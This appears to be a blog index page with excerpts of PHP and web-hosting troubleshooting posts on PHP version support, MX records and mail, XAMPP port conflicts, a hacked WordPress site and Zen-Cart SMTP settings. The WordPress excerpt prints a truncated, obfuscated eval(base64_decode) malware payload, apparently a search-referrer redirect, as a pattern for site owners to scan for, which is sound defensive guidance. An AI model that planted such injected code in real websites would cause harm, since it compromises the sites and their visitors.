PHP versions and support by PHP Community

If your website is still running on legacy php version, you may consider to upgrade PHP version and your website’s source code to protect your website from future malware / malicious attack. The newer PHP version, the faster the performance, the more secure, and more efficient. PHP 4: no longer supported by PHP Community 1&1 Extended Support available PHP 5.2: no longer supported by PHP Community 1&1 Extended Support available PHP 5.4: no longer supported by PHP Community 1&1 Extended Support available PHP 5.5: no…

Continue reading »

Standard Mail function is broken if MX Record is changed

Most of Contact Us form or other types of form on your website are using standard PHP mail function if it’s not set for SMTP Server (using WP-Mail-SMTP plugin). So if you move MX Record of your domain name from Godaddy to Google Mail Server, you’ll need to set the MX Entry to “Remote Mail Exchanger” option in order for the PHP standard Mail() function works properly on your website.

Continue reading »

A fix for XAMPP – Apache Server in Windows 10

Windows 10 will throw errors when you try to start Apache server in XAMPP. 7:56:35 AM [Apache] Attempting to start Apache app… 7:57:05 AM [Apache] Problem detected! 7:57:05 AM [Apache] Port 80 in use by “Unable to open process” with PID 4! 7:57:05 AM [Apache] Apache WILL NOT start without the configured ports free! 7:57:05 AM [Apache] You need to uninstall/disable/reconfigure the blocking application 7:57:05 AM [Apache] or reconfigure Apache and the Control Panel to listen on a different port To fix this issue, the…

Continue reading »

What to do if your WordPress has been hacked

If your business website or personal blog is running on WordPress framework, you must upgrade to at least V4.4 as of Jan 2016. Before doing so, please read the instruction how to backup your files and database here. If not, your website maybe in danger of malicious embedded code attack. If you do, scan all wp- directories to find this type of codes: ————- … eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdH”));…..

Continue reading »

Zen-cart email wasn’t sent thru SMTP Mail server

I hope my discovery can help some of you on Zen-Cart 1.5.3 running on Window XP. To send mail out successfully, your Windows server has to have Visual C++ 2008 redistribution package installed, OpenSSL for Windows, and some config in php.ini and Apache bin directory. 1. Enable php_openssl.dll and sockets from php.ini if phpinfo only displays “tcp, udp,” in Registered Stream Socket Transports. extension=php_openssl.dll extension=php_sockets.dll 2. Make sure that the extension_dir points to my extension directory, not the default ./ location. extension_dir = “c:/php53/ext” 3.…

Continue reading »